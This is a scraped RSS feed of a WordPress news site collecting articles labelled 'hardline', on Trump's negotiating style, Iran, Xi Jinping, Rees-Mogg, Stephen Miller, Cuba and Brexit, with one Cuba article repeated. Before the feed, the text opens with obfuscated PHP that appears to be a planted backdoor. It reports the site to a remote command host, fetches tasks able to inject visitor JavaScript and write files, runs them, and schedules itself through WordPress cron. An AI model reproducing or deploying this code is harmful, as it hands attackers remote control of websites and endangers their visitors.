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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hardline – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 26 May 2018 07:05:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Hardline – Brief News https://briefnews.eu 32 32 Trump’s hard-line negotiation methods could be ruining the US’s reputation https://briefnews.eu/trumps-hard-line-negotiation-methods-could-be-ruining-the-uss-reputation/ https://briefnews.eu/trumps-hard-line-negotiation-methods-could-be-ruining-the-uss-reputation/#respond Sat, 26 May 2018 07:05:14 +0000 http://briefnews.eu/trumps-hard-line-negotiation-methods-could-be-ruining-the-uss-reputation/ donald trump art of the dealEric Schultz/AP

  • President Donald Trump has long branded himself an expert negotiator. 
  • Recent policy decisions, including his recent exit from planned talks with Kim Jong Un, have cast doubt on Trump’s ability to successfully deal with international actors. 
  • Experts say Trump’s erratic ways are jeopardizing US credibility.


President Donald Trump has long branded himself as an expert negotiator. 

In his 1987 book, the “Trump: The Art of the Deal,” he called his approach to dealmaking an “art form.”

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]]> https://briefnews.eu/trumps-hard-line-negotiation-methods-could-be-ruining-the-uss-reputation/feed/ 0 Despite Iran’s hardline bluster, its economy is so bad it may seek a compromise with Trump https://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/ https://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/#respond Wed, 23 May 2018 09:54:22 +0000 http://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/ FILE PHOTO: A display featuring missiles and a portrait of Iran's Supreme Leader Ayatollah Ali Khamenei is seen at Baharestan Square in Tehran, Iran September 27, 2017. Nazanin Tabatabaee Yazdi/TIMA via REUTERS Thomson Reuters

  • For all of Iran’s fierce verbal response to fresh U.S. threats of tougher sanctions, some senior officials in Tehran believe the door to diplomacy should stay open.
  • U.S. Secretary of State Mike Pompeo presented a list of sweeping demands for Iran, including abandoning nuclear enrichment, its ballistic missile program and its role in Syria, Lebanon and Yemen, or face “the strongest sanctions in history”.
  • But with Iran’s economy so fragile, weakened by decades of sanctions, corruption and mismanagement, Khamenei may yet consider diplomacy over confrontation with the United States.

ANKARA (Reuters) – For all of Iran’s fierce verbal response to fresh U.S. threats of tougher sanctions, some senior officials in Tehran believe the door to diplomacy should stay open.

On Monday, U.S. Secretary of State Mike Pompeo presented a list of sweeping demands for Iran, including abandoning nuclear enrichment, its ballistic missile program and its role in Syria, Lebanon and Yemen, or face “the strongest sanctions in history”.

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]]> https://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/feed/ 0 Xi Jinping declares China will ‘fight the bloody battle’ in hardline speech on Taiwan and Hong Kong https://briefnews.eu/xi-jinping-declares-china-will-fight-the-bloody-battle-in-hardline-speech-on-taiwan-and-hong-kong/ https://briefnews.eu/xi-jinping-declares-china-will-fight-the-bloody-battle-in-hardline-speech-on-taiwan-and-hong-kong/#respond Tue, 20 Mar 2018 05:19:47 +0000 http://briefnews.eu/xi-jinping-declares-china-will-fight-the-bloody-battle-in-hardline-speech-on-taiwan-and-hong-kong/ Xi Jinping gesture swears oathGREG BAKER/AFP/Getty Images

  • China’s President Xi Jinping gave a nationalistic speech on Tuesday, saying Beijing will “fight the bloody battle against our enemies” and “not a single inch of land” in regards to Taiwan and Hong Kong.
  • Xi has a hardline approach to Taiwan, and experts believe he intends to reunify Taiwan with China in coming decades.
  • The new US law regarding official travel between the US and Taiwan may have also prompted his fiery speech.

President Xi Jinping said China will “fight the bloody battle against our enemies” in a speech on Tuesday, striking a nationalistic and hawkish tone.

In his closing speech of the country’s annual legislative meeting, Xi discussed the benefits of China’s socialism, the Belt and Road initiative and a string of domestic policies, zeroing in on Hong Kong and Taiwan.

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]]> https://briefnews.eu/xi-jinping-declares-china-will-fight-the-bloody-battle-in-hardline-speech-on-taiwan-and-hong-kong/feed/ 0 'Abort him': Tory Jacob Rees-Mogg’s hardline views on abortion unleash wave of online criticism https://briefnews.eu/abort-him-tory-jacob-rees-moggs-hardline-views-on-abortion-unleash-wave-of-online-criticism/ https://briefnews.eu/abort-him-tory-jacob-rees-moggs-hardline-views-on-abortion-unleash-wave-of-online-criticism/#respond Wed, 06 Sep 2017 11:02:26 +0000 http://briefnews.eu/abort-him-tory-jacob-rees-moggs-hardline-views-on-abortion-unleash-wave-of-online-criticism/

Tory Jacob Rees-Mogg, who some within his party see as the favourite to become Britain’s next PM, has faced a wave of criticism on social media following his incendiary comments on abortion and same-sex marriage.

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Conservative MP Jacob Rees-Mogg. © Tolga Akmen / London News Pictures / Global Look Press

During an interview on ITV’s Good Morning Britain show, Rees-Mogg admitted that he vehemently opposes gay marriage, as it goes against Catholic teachings, as well as abortion, which he says is “morally indefensible”.

“I’m a Catholic; I take the teaching of the Catholic Church seriously.

“Marriage is a sacrament and the view of what marriage is is taken by the Church, not Parliament,” Rees-Mogg opined.

Turning to the issue of women voluntarily terminating their pregnancies, Rees-Mogg said: “I am completely opposed to abortion; life begins at the point of conception.

“With same-sex marriage, that is something that people are doing for themselves. With abortion, that is what people are doing to the unborn child.”

Following the interview, people flocked to social media to express their dismay at his controversial and “obsolete” views.

While one mocked his comments, saying the Tory backbencher should be the one “aborted”, another pointed out how Rees-Mogg’s views go back to the 16th century:

But one user said his views would be “horrible” regardless of the historical time.

Another rubbished his chances of becoming Britain’s next Prime Minister.

One Twitter user made a comparison between America under Donald Trump and a hypothetical Britain under Rees-Mogg.

Others claimed his views exemplify the direction in which Britain’s political mind-set is moving.

Another remarked that if Rees-Mogg gets elected, it will go to show the out-datedness of the Tory party as a whole.

But there were also those who defended Rees-Mogg for standing by his views, and who hit out at those criticizing him for upholding his religious beliefs.

Others suggested Rees-Mogg had been specifically targeted.

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]]> https://briefnews.eu/abort-him-tory-jacob-rees-moggs-hardline-views-on-abortion-unleash-wave-of-online-criticism/feed/ 0 Trump is reportedly considering hardline nationalist Stephen Miller for White House communications director https://briefnews.eu/trump-is-reportedly-considering-hardline-nationalist-stephen-miller-for-white-house-communications-director/ https://briefnews.eu/trump-is-reportedly-considering-hardline-nationalist-stephen-miller-for-white-house-communications-director/#respond Sat, 05 Aug 2017 17:09:24 +0000 http://briefnews.eu/trump-is-reportedly-considering-hardline-nationalist-stephen-miller-for-white-house-communications-director/ stephen millerAP Photo/Susan Walsh

President Donald Trump is considering senior policy adviser Stephen Miller to fill the role of White House communications director, sources told Axios. 

Miller, known for his hardline nationalism, is a longtime Trump loyalist who most recently made headlines after holding a contentious press conference Wednesday as the Trump administration rolled out its new immigration policy.

Miller got into a heated exchange with CNN reporter Jim Acosta over the policy, which would slash legal immigration by 50% over 10 years, when Acosta asked Miller whether the administration was trying to “engineer the racial and ethnic flow of people into this country through this policy.”

Although Miller did not specifically address Acosta’s question, he accused the reporter of “cosmopolitan bias” and called Acosta’s questions “outrageous” and insulting.” 

Miller has long been an immigration hardliner and was critical, when he worked as an aide to Jeff Sessions when he was a senator from Alabama, in rallying the opposition against the congressional bipartisan effort aimed at immigration reform. 

Axios added that when he worked with Sessions, Miller effectively functioned as the congressional arm of Breitbart News, the staunchly pro-Trump outlet that has gained influence since Trump rose to power. 

Miller is under consideration for a position that was most recently vacated by Wall Street financier Anthony Scaramucci, after Scaramucci gave an explosive interview to The New Yorker in which he referred to senior White House staff in vulgar terms.

Scaramucci was incensed that someone had leaked the details of a private dinner he had with Trump and several Fox News personalities, to New Yorker reporter Ryan Lizza, and he asked Lizza to reveal his source. When Lizza refused to do so, Scaramucci zeroed in on former White House chief of staff Reince Priebus, calling him “a f—— paranoid schizophrenic, a paranoiac.”

He also implied that White House chief strategist Steve Bannon was only interested in media attention, telling Lizza, “I’m not Steve Bannon, I’m not trying to suck my own c—.” 

Scaramucci was ousted less than a week after his remarks. 

Miller is not yet a favorite for the communications director role, sources told Axios, but he did gain favor with Bannon — who is also a nationalist and immigration hardliner — following his heated press conference earlier this week. The performance also likely resonated strongly with Trump, who is known to favor those who draw strong television ratings. 

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President Donald Trump announced on Friday the reversal of several key parts of Barack Obama’s normalization of relations with Cuba, which started in December 2014.

Before an enthusiastic anti-Castro crowd in Miami, Trump signed a directive that restricted Americans’ ability to travel to the island, prohibited financial dealings with the Cuban military, and laid out several stipulations on which future US-Cuban negotiations would be based.

One of the four goals of Trump’s police change is to “Further the national security and foreign policy interests of the United States and those of the Cuban people,” according to a fact sheet distributed by the White House.

“The policy clarifies that any further improvements in the United States-Cuba relationship will depend entirely on the Cuban government’s willingness to improve the lives of the Cuban people,” the fact sheet states, “including through promoting the rule of law, respecting human rights, and taking concrete steps to foster political and economic freedoms.”

Trump’s directive reinstates many of the restrictions that were in place prior to the Obama-led opening. But beyond limiting travel and financial dealings, Trump’s reversal may limit or end recent cooperation on security issues, particularly on drug trafficking, which appears to be returning to the Caribbean in force.

Cocaine Seized in Fort Lauderdale Feb. 16US Customs and Border Protection

While Cuba was awash in drugs prior to Castro’s arrival, once he took over and imposed a hardline anti-narcotics policy, they largely disappeared.

In the wake of an incident in the late 1980s in which several Cuban officials were executed for conspiring with drug traffickers, Cuba increased its cooperation with the US to counter smuggling in the area.

Now, despite Cuba’s location between major drug producers in South America and a major drug consumer in the US, the island “is not a major consumer, producer or transit point of illicit narcotics,” the US State Department reported in 2016.

And over the last decade, despite political differences, Cuban and US officials have worked closely together to track and intercept drug shipments transiting the Caribbean.

According to Col. Victor Lopez Bravo of Cuba’s coast guard and border patrol, Havana has notified US officials of more than 500 drug-smuggling operations over the last 10 years. Between 2003 and 2016, Cuban authorities seized or recovered more than 40 tons of marijuana, cocaine, and hashish.

Cuba coast guard drug smuggling traffickingREUTERS/Claudia Daut CD/SV

“We have prevented a huge quantity of drugs from coming into the US,” Bravo told CNN. The US Drug Enforcement Administration has confirmed it is exchanging information about narcotics smuggling with Cuban officials.

After Obama’s opening in late 2014, drug-enforcement officials from both countries starting having meetings in Cuba and Florida regularly. Last year, they reached an agreement that allowed US and Cuban personnel pursuing drug traffickers in the area to communicate directly for the first time — cutting down on delays and giving suspected traffickers less time to flee.

That deal came as a number of incidents in the latter half of 2016 indicated that drug trafficking was swinging back to the Caribbean — a once prominent smuggling corridor that saw drug flows wither in the face of increased enforcement and the growing popularity of routes through Mexico and the Pacific.

The freeze Trump has put on dealings with the Cuban government during his review of US policy toward the island — which now looks set to endure — has thrown that cooperation into doubt.

Cuban soldiersIvan Alvarado/Reuters

Two meetings between Cuban security officials and their US counterparts scheduled this year have already been canceled.

“We are waiting to see if it happens,” Bravo told CNN about US-Cuba meetings where law-enforcement officials discuss tactics and share intelligence.

“It’s up to the United States to announce and invite us to the next meeting,” he said. “We hope it happens because it really is beneficial for both countries.”

The recent US-Cuba thaw hasn’t only facilitated cooperation on drug trafficking.

Lt. Col. Yahanka Rodriguez, the commander of Cuba’s military cybersecurity center, told NBC news this month that over the last year and half, Cuba has given the US information on at least 17 cybercrime cases involving the US.

That information has included internet addresses thought to be part of a suspected identity-theft attempt — “addresses that we traced to the United States, for both the suspected attackers and the potential victims,” Rodriguez told NBC.

Cuban officials also said they’d contacted a Homeland Security Department cybersecurity team about hacking attacks on Cuban infrastructure that appeared to come from the US — though they were not aware of an any US action taken in response to such Cuban reports made in January and May this year.

For some US officials, the security concerns related to a US reversal on Cuba extend to the geopolitical sphere.

Russia Cuba Vladimir Putin Raul CastroREUTERS/Aleksey Nikolskyi/RIA Novosti/Kremlin

With internal strife and economic turmoil consuming Venezuela, one of Havana’s main energy suppliers and trading partners has been able to provide less and less.

“[Russia] has already started trying to make up the gap in petroleum imports to Cuba that have fallen off dramatically with the chaos in Venezuela,” retired Army Brig. Gen. David L. McGinnis, a member of the Consensus for American Security at the American Security Project, said on an Atlantic Council conference call this week.

Russia has also recently forgiven billions in Cuban government debt and won a bid to build a railroad on the island.

“They’re in a market for products from both Russia and China, and both of those countries have the resources to provide the loans to allow them to purchase their weapons and equipment,” McGinnis said.

China Cuba Fidel Castro Li KeqiangAlex Castro/Courtesy of Cubadebate/Handout

These are not new concerns.

In 2010, nine retired generals wrote to then-House Foreign Affairs Committee Chairman Rep. Howard Berman to say that Cuba did not pose a threat to the US and to call for the travel ban to be lifted.

“Lifting the overall travel ban would extend this cultural and economic engagement and … [enhance] our security by removing unnecessary sources of discontent in a country so close to the United States,” the generals wrote.

For its part, Havana has not fully embraced Russia (or China, which is Cuba’s largest trading partner and the largest holder of its foreign debt).

According to McGinnis, that is likely because of the Cuban government “wanting to have a balanced foreign policy to the best extent they can, hoping that we will step forward and do the right thing.”

This isn’t a return to the Cold War, but the Cuban mood may quickly change if avenues for engagement with the US appear to be closed.

“If we would step back, that would kind of take the hope away from the Cuban government that there was going to be rapprochement,” the retired general said, “and obviously they would be forced toward the two eager adversaries of the United States in our own backyard.”

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President Donald Trump announced on Friday the reversal of several key parts of Barack Obama’s normalization of relations with Cuba, which started in December 2014.

Before an enthusiastic anti-Castro crowd in Miami, Trump signed a directive that restricted Americans’ ability to travel to the island, prohibited financial dealings with the Cuban military, and laid out several stipulations on which future US-Cuban negotiations would be based.

One of the four goals of Trump’s police change is to “Further the national security and foreign policy interests of the United States and those of the Cuban people,” according to a fact sheet distributed by the White House.

“The policy clarifies that any further improvements in the United States-Cuba relationship will depend entirely on the Cuban government’s willingness to improve the lives of the Cuban people,” the fact sheet states, “including through promoting the rule of law, respecting human rights, and taking concrete steps to foster political and economic freedoms.”

Trump’s directive reinstates many of the restrictions that were in place prior to the Obama-led opening. But beyond limiting travel and financial dealings, Trump’s reversal may limit or end recent cooperation on security issues, particularly on drug trafficking, which appears to be returning to the Caribbean in force.

Cocaine Seized in Fort Lauderdale Feb. 16US Customs and Border Protection

While Cuba was awash in drugs prior to Castro’s arrival, once he took over and imposed a hardline anti-narcotics policy, they largely disappeared.

In the wake of an incident in the late 1980s in which several Cuban officials were executed for conspiring with drug traffickers, Cuba increased its cooperation with the US to counter smuggling in the area.

Now, despite Cuba’s location between major drug producers in South America and a major drug consumer in the US, the island “is not a major consumer, producer or transit point of illicit narcotics,” the US State Department reported in 2016.

And over the last decade, despite political differences, Cuban and US officials have worked closely together to track and intercept drug shipments transiting the Caribbean.

According to Col. Victor Lopez Bravo of Cuba’s coast guard and border patrol, Havana has notified US officials of more than 500 drug-smuggling operations over the last 10 years. Between 2003 and 2016, Cuban authorities seized or recovered more than 40 tons of marijuana, cocaine, and hashish.

Cuba coast guard drug smuggling traffickingREUTERS/Claudia Daut CD/SV

“We have prevented a huge quantity of drugs from coming into the US,” Bravo told CNN. The US Drug Enforcement Administration has confirmed it is exchanging information about narcotics smuggling with Cuban officials.

After Obama’s opening in late 2014, drug-enforcement officials from both countries starting having meetings in Cuba and Florida regularly. Last year, they reached an agreement that allowed US and Cuban personnel pursuing drug traffickers in the area to communicate directly for the first time — cutting down on delays and giving suspected traffickers less time to flee.

That deal came as a number of incidents in the latter half of 2016 indicated that drug trafficking was swinging back to the Caribbean — a once prominent smuggling corridor that saw drug flows wither in the face of increased enforcement and the growing popularity of routes through Mexico and the Pacific.

The freeze Trump has put on dealings with the Cuban government during his review of US policy toward the island — which now looks set to endure — has thrown that cooperation into doubt.

Cuban soldiersIvan Alvarado/Reuters

Two meetings between Cuban security officials and their US counterparts scheduled this year have already been canceled.

“We are waiting to see if it happens,” Bravo told CNN about US-Cuba meetings where law-enforcement officials discuss tactics and share intelligence.

“It’s up to the United States to announce and invite us to the next meeting,” he said. “We hope it happens because it really is beneficial for both countries.”

The recent US-Cuba thaw hasn’t only facilitated cooperation on drug trafficking.

Lt. Col. Yahanka Rodriguez, the commander of Cuba’s military cybersecurity center, told NBC news this month that over the last year and half, Cuba has given the US information on at least 17 cybercrime cases involving the US.

That information has included internet addresses thought to be part of a suspected identity-theft attempt — “addresses that we traced to the United States, for both the suspected attackers and the potential victims,” Rodriguez told NBC.

Cuban officials also said they’d contacted a Homeland Security Department cybersecurity team about hacking attacks on Cuban infrastructure that appeared to come from the US — though they were not aware of an any US action taken in response to such Cuban reports made in January and May this year.

For some US officials, the security concerns related to a US reversal on Cuba extend to the geopolitical sphere.

Russia Cuba Vladimir Putin Raul CastroREUTERS/Aleksey Nikolskyi/RIA Novosti/Kremlin

With internal strife and economic turmoil consuming Venezuela, one of Havana’s main energy suppliers and trading partners has been able to provide less and less.

“[Russia] has already started trying to make up the gap in petroleum imports to Cuba that have fallen off dramatically with the chaos in Venezuela,” retired Army Brig. Gen. David L. McGinnis, a member of the Consensus for American Security at the American Security Project, said on an Atlantic Council conference call this week.

Russia has also recently forgiven billions in Cuban government debt and won a bid to build a railroad on the island.

“They’re in a market for products from both Russia and China, and both of those countries have the resources to provide the loans to allow them to purchase their weapons and equipment,” McGinnis said.

China Cuba Fidel Castro Li KeqiangAlex Castro/Courtesy of Cubadebate/Handout

These are not new concerns.

In 2010, nine retired generals wrote to then-House Foreign Affairs Committee Chairman Rep. Howard Berman to say that Cuba did not pose a threat to the US and to call for the travel ban to be lifted.

“Lifting the overall travel ban would extend this cultural and economic engagement and … [enhance] our security by removing unnecessary sources of discontent in a country so close to the United States,” the generals wrote.

For its part, Havana has not fully embraced Russia (or China, which is Cuba’s largest trading partner and the largest holder of its foreign debt).

According to McGinnis, that is likely because of the Cuban government “wanting to have a balanced foreign policy to the best extent they can, hoping that we will step forward and do the right thing.”

This isn’t a return to the Cold War, but the Cuban mood may quickly change if avenues for engagement with the US appear to be closed.

“If we would step back, that would kind of take the hope away from the Cuban government that there was going to be rapprochement,” the retired general said, “and obviously they would be forced toward the two eager adversaries of the United States in our own backyard.”

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]]> https://briefnews.eu/trumps-hardline-on-us-relations-with-cuba-could-create-a-blind-spot-in-a-major-drug-trafficking-corridor/feed/ 0 Hardline Brussels to ban Theresa May from negotiating Brexit with other EU leaders https://briefnews.eu/hardline-brussels-to-ban-theresa-may-from-negotiating-brexit-with-other-eu-leaders/ https://briefnews.eu/hardline-brussels-to-ban-theresa-may-from-negotiating-brexit-with-other-eu-leaders/#respond Wed, 03 May 2017 10:07:03 +0000 http://briefnews.eu/hardline-brussels-to-ban-theresa-may-from-negotiating-brexit-with-other-eu-leaders/

British Prime Minister Theresa May will be blocked from negotiating Brexit with other European leaders, senior figures in Brussels have warned, in a further sign that the EU is settling on a hardline approach.

May will be left on the outside when future EU heads of states meet to talk Brexit. The only person she will be allowed to sit down with is the European Commission’s chief negotiator, Michel Barnier, the Times reports.

May has always insisted she would personally negotiate Brexit with the “prime ministers, presidents and chancellors of Europe.”

The issue of who will represent Britain is understood was apparently one of the contentious issues brought up during a now infamous dinner at Downing Street last week with European Commission President Jean-Claude Juncker.

May suggested she intends to take the lead in the final stage of negotiations, an insider told the Times.

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British Prime Minister Theresa May (L) and European Commission President Jean-Claude Juncker. © Yves Herman

“Juncker told her it is not going to work like that. It is not going to be a negotiation around a table between heads of state and government. It was very awkward. We thought David [Davis, the Brexit secretary] was in charge.”

A Commission spokesperson confirmed that talks would be run entirely by Barnier.

Asked whether there would be any direct negotiation between May and other member states on the ‘divorce’ settlement, the spokesperson said: “No. The Commission is the union negotiator and Michel Barnier is the person who will negotiate on behalf of the EU. We are very clear about that.”

According to German newspaper Frankfurter Allgemeine, May and Juncker “clashed” over a number of Brexit issues at last week’s dinner.

Juncker was reportedly shocked at May’s suggestion that a deal on citizens’ rights could be achieved so quickly. When May expressed her desire to make Brexit “a success,” Juncker replied that “Brexit cannot be a success.”

The newspaper also reported that there would be no trade deal between the UK and the rest of the EU if Britain fails to pay its divorce bill. When May said the UK owes no money to the EU, the EC president informed her that she was not leaving a “golf club.”

May dismissed the reports.

“I have to say what I’ve seen of this account, I think it’s Brussels gossip,” she said.

There have also been suggestions that some EU figures are unhappy at the role Davis is expected to take. One report said that some in the Commission believed it was “pointless” negotiating with him and had considered substituting Sabine Weyand, the EU’s deputy negotiator, for Barnier, to give Britain a “graceful” way of replacing Davis.

This has been denied.

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